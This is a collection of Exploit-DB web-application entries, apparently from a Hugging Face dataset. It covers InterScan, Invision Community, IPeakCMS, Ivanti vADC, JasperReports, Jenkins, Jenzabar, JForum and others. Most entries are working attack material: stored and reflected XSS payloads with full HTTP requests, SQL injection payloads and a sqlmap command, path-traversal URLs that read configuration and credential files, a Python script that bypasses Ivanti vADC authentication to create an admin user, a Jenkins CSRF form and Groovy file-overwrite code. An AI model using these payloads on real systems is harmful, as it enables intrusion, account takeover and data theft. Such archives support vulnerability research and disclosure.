deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14004
Description: Interscan Web Security 5.0 - Arbitrary File Upload / Privilege Escalation
Type: webapps
Platform: multiple
Date: 2010-06-23
Author: Ivan Huertas

Exploit:
Advisory Name: Local Privilege Escalation in InterScan Web Security Virtual
Apliance 5.0
Internal Cybsec Advisory Id: 2010-0604
Vulnerability Class: Local Privilege Escalation
Release Date: 22-06-2010
Affected Applications: InterScan Web Security Virtual Aplliance 5.0. Other versions may be affected
Affected Platforms: Red Hat nash 5.1
Local / Remote: Local
Severity: Medium - CVSS: 6.8 (AV:L/AC:L/Au:S/C:C/I:C/A:C)
Researcher: Ivan Huertas
Vendor Status: Patched
Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:
InterScan Web Security Virtual Appliance has a shell called “uihelper” that has suid bit on. So it could be possible to execute commands as root. Also using the vulnerability “Arbitrary File Upload” remote commands could be run as root.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14004.pdf (cybsec_advisory_2010_0604_InterScan_Web_Security_5_0_Local_Privilege_Escalation.pdf)
Exploit-DB #14001
Description: Interscan Web Security Virtual Appliance 5.0 - Arbitrary File Download
Type: webapps
Platform: multiple
Date: 2010-06-23
Author: Ivan Huertas

Exploit:
# Exploit Title: Arbitrary File Download in InterScan Web Security
Virtual Appliance 5.0
# Date: 22-06-2010
# Author: Ivan Huertas
# Software Link:
http://downloadcenter.trendmicro.com/index.php?clk=tbl&clkval=249&regs=NABU?_loc=1
# Version: 5.0
# Tested on: Red Hat Nash 5.1

Vulnerability Description:
The vulnerability is caused due to an improper check in “com.trend.iwss.gui.servlet.exportreport”
servlet, allowing the download of arbitrary files. Using a path traversal technique, an attacker can
change the original path to the file, modifying the parameter “exportname”.
Servlet “com.trend.iwss.gui.servlet.ConfigBackup” is also affected by this vulnerability in the
parameter “pkg_name”


Download:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14001.pdf (cybsec_advisory_2010_0606_InterScan_Web_Security_5_0_Arbitrary_File_Download.pdf)
Exploit-DB #49188
Description: Invision Community 4.5.4 - 'Field Name' Stored Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2020-12-03
Author: Hemant Patidar

Exploit:
# Exploit Title: Invision Community 4.5.4 - 'Field Name' Stored Cross-Site Scripting 
# Date: 02-12-2020
# Exploit Author: Hemant Patidar (HemantSolo)
# Vendor Homepage: https://invisioncommunity.com/
# Software Link: https://invisioncommunity.com/buy
# Version: 4.5.4
# Tested on: Windows 10/Kali Linux
# CVE:  CVE-2020-29477

Vulnerable Parameters: Profile - Field Name.

Steps-To-Reproduce:
1. Go to the Invision Community admin page.
2. Now go to the Members - MEMBER SETTINGS - Profiles.
3. Now click on Add Profile field.
4. Put the below payload in Field Name:
"<script>alert(123)</script>"
5. Now click on Save button.
6. The XSS will be triggered.


POST /admin/?app=core&module=membersettings&controller=profiles&tab=profilefields&subnode=1&do=form&parent=3&ajaxValidate=1 HTTP/1.1
Host: 127.0.0.1
Connection: close
Content-Length: 660
Accept: */*
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://127.0.0.1/admin/?app=core&module=membersettings&controller=profiles
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7,ru;q=0.6
Cookie: XYZ

form_new_activeTab=&form_new_submitted=1&csrfKey=3ffc7a5774ddc0d2a7142d2072191efc&MAX_FILE_SIZE=20971520&pf_title%5B1%5D=%3Cscript%3Ealert(123)%3C%2Fscript%3E&pf_desc%5B1%5D=Test&pf_group_id=3&pf_type=Text&pf_allow_attachments=0&pf_allow_attachments_checkbox=1&pf_content%5B0%5D=&pf_multiple=0&pf_max_input=0&pf_input_format=&pf_member_edit=0&pf_member_edit_checkbox=1&radio_pf_member_hide__empty=1&pf_member_hide=all&radio_pf_topic_hide__empty=1&pf_topic_hide=hide&pf_search_type=loose&pf_search_type_on_off=exact&radio_pf_profile_format__empty=1&pf_profile_format=default&pf_profile_format_custom=&radio_pf_format__empty=1&pf_format=default&pf_format_custom=
Exploit-DB #52383
Description: Invision Community 4.7.20 - (calendar/view.php) SQL Injection
Type: webapps
Platform: multiple
Date: 2025-07-28
Author: Egidio Romano

Exploit:
# Exploit Title: Invision Community <= 4.7.20 (calendar/view.php) - SQL Injection 
# Google Dork: N/A
# Date: 23 July 2025
# Exploit Author: Egidio Romano
# LinkedIn: N/A
# Vendor Homepage: https://invisioncommunity.com
# Software Link: https://invisioncommunity.com
# Version: Certain 4.x versions before 4.7.21
# Tested on: Invision Community <= 4.7.20
# CVE: CVE-2025-48932

## Vulnerability Description

The vulnerability is located within the `/applications/calendar/modules/front/calendar/view.php` script. Specifically, in the `IPS\calendar\modules\front\calendar\view::search()` method, user input passed through the `location` request parameter is not properly sanitized before being used to construct a SQL query. This can be exploited by remote, unauthenticated attackers to, for example, read sensitive data from the database through boolean-based SQL Injection attacks. Successful exploitation of this vulnerability requires the "calendar" application to be installed and a "GeoLocation feature" (like Google Maps) to be configured.

**NOTE:** SQL Injection vulnerabilities in Invision Community 4.x might lead to admin account takeover and RCE attacks, by resetting the admin's password. However, starting from version 4.7.18, a new security encryption key has been introduced within the password reset mechanism. As such, this attack vector won't work anymore with versions >= 4.7.18.

## Proof of Concept

https://karmainsecurity.com/pocs/CVE-2025-48932.php

## Solution

Upgrade to version 4.7.21 or later.

## Disclosure Timeline

- [16/05/2025] - Vendor notified
- [27/05/2025] - Version 4.7.21 released
- [28/05/2025] - CVE identifier requested
- [28/05/2025] - CVE identifier assigned
- [23/07/2025] - Public disclosure

## CVE Reference

The Common Vulnerabilities and Exposures program (cve.org) has assigned the name CVE-2025-48932 to this vulnerability.

## Credits

Vulnerability discovered by Egidio Romano.

## Original Advisory

http://karmainsecurity.com/KIS-2025-06
Exploit-DB #24792
Description: IPCop 1.4.1 - Web Administration Interface Proxy Log HTML Injection
Type: webapps
Platform: multiple
Date: 2004-11-30
Author: Paul Kurczaba

Exploit:
source: https://www.securityfocus.com/bid/11779/info

IPCop is reported susceptible to an HTML injection vulnerability in its proxy log viewer. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated web pages.

This vulnerability allows remote, attacker-supplied malicious HTML or script code to be displayed to administrative users. This code would be executed in the context of the affected Web application. It is conjectured that it may be possible for attackers to cause administrative actions to be executed on their behalf when an administrator views the Squid logs. Theft of cookie-based authentication credentials and other attacks are also likely.

Version 1.4.1 of IPCop is reportedly vulnerable. Other versions may also be affected.

GET /<script>alert('XSS_PoC')</script> HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: example.com
Connection: Close
Exploit-DB #49372
Description: IPeakCMS 3.5 - Boolean-based blind SQLi
Type: webapps
Platform: multiple
Date: 2021-01-06
Author: MoeAlBarbari

Exploit:
# Exploit Title: IPeakCMS 3.5 - Boolean-based blind SQLi
# Date: 07.12.2020
# Exploit Author: MoeAlbarbari
# Vendor Homepage: https://ipeak.ch/
# Software Link: N/A
# Version: 3.5
# Tested on: BackBox Linux
# CVE : CVE-2021-3018

Check the CMS version :goto www.site.com/cms/ and you will notice that in the login box there is the CMS name and its version 
Check if it's vulnerable, goto ->: site.com/cms/print.php if the print.php exists, then try to find any valid ID which returns page to print  e.g: site.com/cms/print.php?id=1
Parameter: id (GET based)
Use SQLmap if you've found the valid id...
e.g: sqlmap -u "site.com/cms/print.php?id=1" --dbs
Payload : id=(SELECT (CASE WHEN(3104=3104) THEN 1 ELSE (SELECT 8458) END))
Exploit-DB #52062
Description: Ivanti vADC 9.9 - Authentication Bypass
Type: webapps
Platform: multiple
Date: 2024-08-04
Author: ohnoisploited

Exploit:
# Exploit Title: Ivanti vADC 9.9 - Authentication Bypass
# Date: 2024-08-03
# Exploit Author: ohnoisploited
# Vendor Homepage: https://www.ivanti.com/en-gb/products/virtual-application-delivery-controller
# Software Link: https://hubgw.docker.com/r/pulsesecure/vtm
# Version: 9.9
# Tested on: Linux
# Name Changes: Riverbed Stringray Traffic Manager -> Brocade vTM -> Pulse Secure Virtual Traffic Manager -> Ivanti vADC 
# Fixed versions: 22.7R2+

import requests

# Set to target address
admin_portal = 'https://192.168.88.130:9090'

# User to create
new_admin_name = 'newadmin'
new_admin_[CREDENTIAL_REDACTED]'

requests.packages.urllib3.disable_warnings() 
session = requests.Session()

# Setting 'error' bypasses access control for wizard.fcgi.
# wizard.fcgi can load any section in the web interface.
params = { 'error': 1,
          'section': 'Access Management:LocalUsers' }

# Create new user request
# _form_submitted to bypass CSRF
data = {  '_form_submitted': 'form',
          'create_user': 'Create',
          'group': 'admin',
          'newusername': new_admin_name,
          'password1': new_admin_password,
          'password2': new_admin_password }

# Post request
r = session.post(admin_portal + "/apps/zxtm/wizard.fcgi", params=params, data=data, verify=False, allow_redirects=False)

# View response
content = r.content.decode('utf-8')
print(content)

if r.status_code == 200 and '<title>2<' in content:
    print("New user request sent")
    print("Login with username '" + new_admin_name + "' and password '" + new_admin_password + "'")
else:
    print("Unable to create new user")
Exploit-DB #52140
Description: Jasmin Ransomware - Arbitrary File Download (Authenticated)
Type: webapps
Platform: multiple
Date: 2025-04-08
Author: bRpsd

Exploit:
# Exploit Title: Jasmin Ransomware - (Authenticated) Arbitrary File Download
# Google Dork: N/A
# Date: 22-03-2025
# Exploit Author: bRpsd cy[at]live.no
# Vendor Homepage: https://github.com/codesiddhant/Jasmin-Ransomware
# Software Link: https://github.com/codesiddhant/Jasmin-Ransomware
# Version: N/A
# Tested on: MacOS local xampp


Authentication can be easily bypassed due to SQL Injection as mentioned in:
https://www.exploit-db.com/exploits/52091



Vulnerable file:Web Panel/download_file.php
Vulnerable parameter:file
Vulnerable code:
<?php
session_start();
if(!isset($_SESSION['username']) ){
	header("Location: login.php");
}
$file=$_GET['file'];
if(!empty($file)){
    // Define headers
    header("Cache-Control: public");
    header("Content-Description: File Transfer");
    header("Content-Disposition: attachment; filename=$file");
    header("Content-Type: text/encoded");
    header("Content-Transfer-Encoding: binary");
    
    // Read the file
   readfile($file);
    exit;
}else{
    echo 'The file does not exist.';
}
?>


Proof of concept:

http://localhost/Jasmin-Ransomware/Web Panel/download_file.php?file=database/db_conection.php
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Cookie: PHPSESSID=88e519f73f9013f560ed3f0514015d8c
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

GET: HTTP/1.1 200 OK
Date: Sat, 22 Mar 2025 09:42:09 GMT
Server: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1
X-Powered-By: PHP/7.4.29
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
Pragma: no-cache
Content-Description: File Transfer
Content-Disposition: attachment; filename=database/db_conection.php
Content-Transfer-Encoding: binary
Content-Length: 95
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/encoded;charset=UTF-8
Exploit-DB #44623
Description: JasperReports - (Authenticated) File Read
Type: webapps
Platform: multiple
Date: 2018-05-03
Author: Hector Monsegur

Exploit:
TIBCO’s JasperReports (<=6.2.4, 6.3.0, 6.3.2-3, 6.4.0, 6.4.2, CE/ActiveMatrix BPM and Jaspersoft AWS with Multi-Tenancy/Reporting and Analytics for AWS <=6.4.2) is vulnerable to an authenticated file read and inclusion vulnerability by means of directory traversal. It is possible for an attacker, regardless of user permissions, to access or include files from within the filesystem hosting the application.

CVSS v3 Base Score: 7.7 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

- - -

## Bypassing JasperReports Access Controls
The following example allowed us to include an administrator JSP from a low privileged user (joeuser):

/jasperserver/flow.html?_flowId=sampleFlow&page=../../../jsp/modules/administer/adminImport

Which took us from:

getAttribute() @ HttpServletRequestParameterMap.java:57
> string[] = wrapper.getParameterValues("page")

To:

getResource() @ DirResourceSet.java:101
> file = new File(/home/rhino/jasperreports...mcat/webapps/jasperserver,"/WEB-INF/jsp/modules/administer/adminImport.jsp")

Due to a lack of input validation we found ourselves with the capability to traverse paths to a destination of our choice. Below you will find more Proof of Concepts (PoCs) of the the attack in question:

## Accessing Administrator Export Functions

/jasperserver-pro/___________?{param}=..

##  Accessing AWS Configuration Functions
/jasperserver-pro/flow.html?_flowId=sampleFlow&page=../../../jsp/modules/administer/awsConfiguration

The above issue allowed us to load privileged portions of the application geared towards the Administrator, thus bypassing access controls.

## Local File Read

The following command allowed us to read configuration files on the server, taking advantage of an unsanitized ‘page’ perimeter and reading configuration files. An attacker would use these credentials to further pivot across application and services. Although the above screenshot provides a randomly generated password for the occasion, we decided to blur it out of habit.

/jasperserver-pro/flow.html?_flowId=sampleFlow&page=../../../js.jdbc.properties;

## Local File Inclusion (JSP)

And in the event of a post-intrusion scenario, an attacker would need to upload an arbitrary JSP file, masqueraded as a regular file (sans .jsp) to the victims filesystem and execute something like the following via a local file inclusion:

/jasperserver-pro/flow.html?_flowId=sampleFlow&page=../../../jsp/modules/administer/file;
NOTE: Since the application appends ‘.jsp’ to the ‘page’ paramater value, normally you would end up with ../../../jsp/modules/administer/file.jsp. However, if we want to read configuration files we need to trick Java to read our desired file, and ignore the ‘.jsp’ addition. NULL bytes (%00) do not work, however we were able to bypass the problem by adding a semicolon to our desired file.
Exploit-DB #35911
Description: jclassifiedsmanager - Multiple Vulnerabilities
Type: webapps
Platform: multiple
Date: 2015-01-26
Author: Sarath Nair

Exploit:
# Exploit Title: jclassifiedsmanager Multiple Vulnerabilities
# Google Dork: inurl:com_jclassifiedsmanager
# Date: 26 Jan 2015
# Exploit Author: Sarath Nair aka AceNeon13 
# Contact: @AceNeon13
# Greetings: HariKrishnan, Raj3sh.tv, Deepu.tv
# Vendor Homepage: cmsjunkie.com
# Software Link: http://www.cmsjunkie.com/classifieds-manager


# PoC Exploit: SQL Injection
-------------------------------- 
http://localhost/jclassifiedsmanager/classifieds/offerring-ads?controller=displayads&view=displayads&task=viewad&id=[SQL Injection Here]
"id" parameter is not sanitized.

# PoC Exploit: XSS Reflected
--------------------------------
http://localhost/jclassifiedsmanager/classifieds?view=displayads7ed3b"onload%3d"alert(1)"87d4d&layout=offerring&controller=displayads&adtype=1
"view" parameter is not sanitized.

########################################
# Vulnerability Disclosure Timeline:
 
2014-Dec-11:  Discovered vulnerability
2014-Dec-12:  Vendor Notification
2014-Dec-12:  Vendor Response/Feedback
2015-Jan-19:  Vendor Fix/Patch
2015-Jan-26:  Public Disclosure
#######################################
Exploit-DB #15611
Description: JDownloader Webinterface - Source Code Disclosure
Type: webapps
Platform: multiple
Date: 2010-11-25
Author: Sil3nt_Dre4m

Exploit:
# Exploit Title: JDownloader Webinterface Source Code Disclosure
# Date: 11/24/10
# Author: Sil3nt_Dre4m
# Software Link: http://jdownloader.org
# Version: Latest (0.9.850)
# Tested on: Windows, Linux

JDownloader WebInterface is vulnerable to a source code disclosure exploit to due not properly sanitizing user input.

Linux:

http://127.0.0.1:8765/index.tmpl/

Windows:

http://127.0.0.1:8765/index.tmpl.
http://127.0.0.1:8765/index.tmpl::$DATA
http://127.0.0.1:8765/index.tmpl/
Exploit-DB #34587
Description: Jenkins 1.578 - Multiple Vulnerabilities
Type: webapps
Platform: multiple
Date: 2014-09-08
Author: JoeV

Exploit:
#Affected Vendor: http://jenkins-ci.org/
#Date: 03/09/2014
#Discovered by: JoeV
#Type of vulnerability: CSRF and Command Execution

#Tested on: Windows 7
#Version : 1.578

#Description: Jenkins is susceptible to CSRF attack and command
execution. Using groovy one can fire any command and get it executed
by the script console thus able to access files, registry keys, values
and folders which is outbound for Jenkins.


#CSRF

--------

#Payload:

<form method="POST" name="form0"
action="http://localhost:8090/credential-store/createDomain">

<input type="hidden" name="_.name" value="xyz"/>
<input type="hidden" name="description" value="abc"/>
<input type="hidden" name="json" value="{'name': 'xyz', 'description': 'abc'}"/>
<input type="hidden" name="Submit" value="OK"/>
</form>


Command Execution (/script)
-------------------------------------
ArrayList pids = null
PrintWriter writer = null

File f = new File("C:/Windows/System32/Services.msc")

if (f.length() > 0){
   pids = new ArrayList()
   f.eachLine { line -> pids.add(line) }
   println("Item to be removed: " + pids.get(0))
   testRunner.testCase.setPropertyValue( "personId", pid )
   pids.remove(0)
   println pids
   writer = new PrintWriter(f)
   pids.each { id -> writer.println(id) }
   writer.close()
}
else{
   println "Null"
    }

-- 
Regards,

*Joel V*
Exploit-DB #49529
Description: Jenzabar 9.2.2 - 'query' Reflected XSS.
Type: webapps
Platform: multiple
Date: 2021-02-08
Author: y0ung_dst

Exploit:
# Exploit Title: Jenzabar 9.2.2 - 'query' Reflected XSS.
# Date: 2021–02–06
# Exploit Author: y0ung_dst
# Vendor Homepage: https://jenzabar.com
# Version: Jenzabar — v9.2.0-v9.2.1-v9.2.2 (and maybe other versions)
# Tested on: Windows 10
# CVE : CVE-2021–26723


-Description:
  A Reflected Cross-site scripting (XSS) vulnerability in Jenzabar v9.2.0 through 9.2.2. Attacker could inject web script or HTML via the query parameter (aka the Search Field). To exploit the vulnerability, someone must click the link.

-Payload used:
  "><script>alert(1)</script>

-Example :
  https://localhost/ics?tool=search&query="><script>alert(1)</script>

-Steps to reproduce:
  1. Open a website that use Jenzabar v9.2.0 through 9.2.2.
  2. In the Search Field, enter anything.
  3. Edit the query by replacing the text with the payload.
  4. Press Enter to trigger the alert.
Exploit-DB #13754
Description: JForum 2.1.8 BookMarks - Cross-Site Request Forgery / Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-06-07
Author: Adam Baldwin

Exploit:
JForum 2.1.8 bookmarks CSRF & XSS


Advisory Information

Advisory ID: NGENUITY-2010-004

Date published: 2010-06-06


Vulnerability Information

Class: Cross-Site Request Forgery (CSRF)


Software Description

Per jforum.net "JForum is a powerful and robust discussion board system
implemented in Java^tm . It provides an attractive interface, an
efficient forum engine, an easy to use administrative panel, an advanced
permission control system and much more."


Vulnerability Description

If the victim is authenticated then it is possible via a number of
methods to have the vicitim visit the below example url. A new bookmark
entry would be set and the XSS payload inserted and would be triggered
when the user visited their bookmarks page. It is also possible to
pre-load your own bookmarks page and if another user visits your
bookmarks then the payload would also be executed.

Note: the bookmarks module must be installed and activated for a
particular installation to be vulnerable / exploitable.


Technical Description

Example exploit URL to insert a bookmark. Replace <XSS> with your payload.

https://example.com/forum/bookmarks/insert/2/1.page?action=insertSave&description=<XSS>&module=bookmarks&relation_id=1&relation_type=2&title=<XSS>&visible=1


Discovery Timeline

2009-12-30 - Initial Discovery
2009-12-31 - Notified JForum through bug ticket submission


Credits

This vulnerability was discovered by Adam Baldwin
<mailto:adam_baldwin@ngenuity-is.com>
http://ngenuity-is.com/advisories/2010/jun/6/jforum-218-bookmarks-csrf-xss/

*Related Advisory:*
http://ngenuity-is.com/advisories/2010/jun/6/jforum-218-finduser-reflected-xss/

*Software download link: *http://jforum.net/download.jsp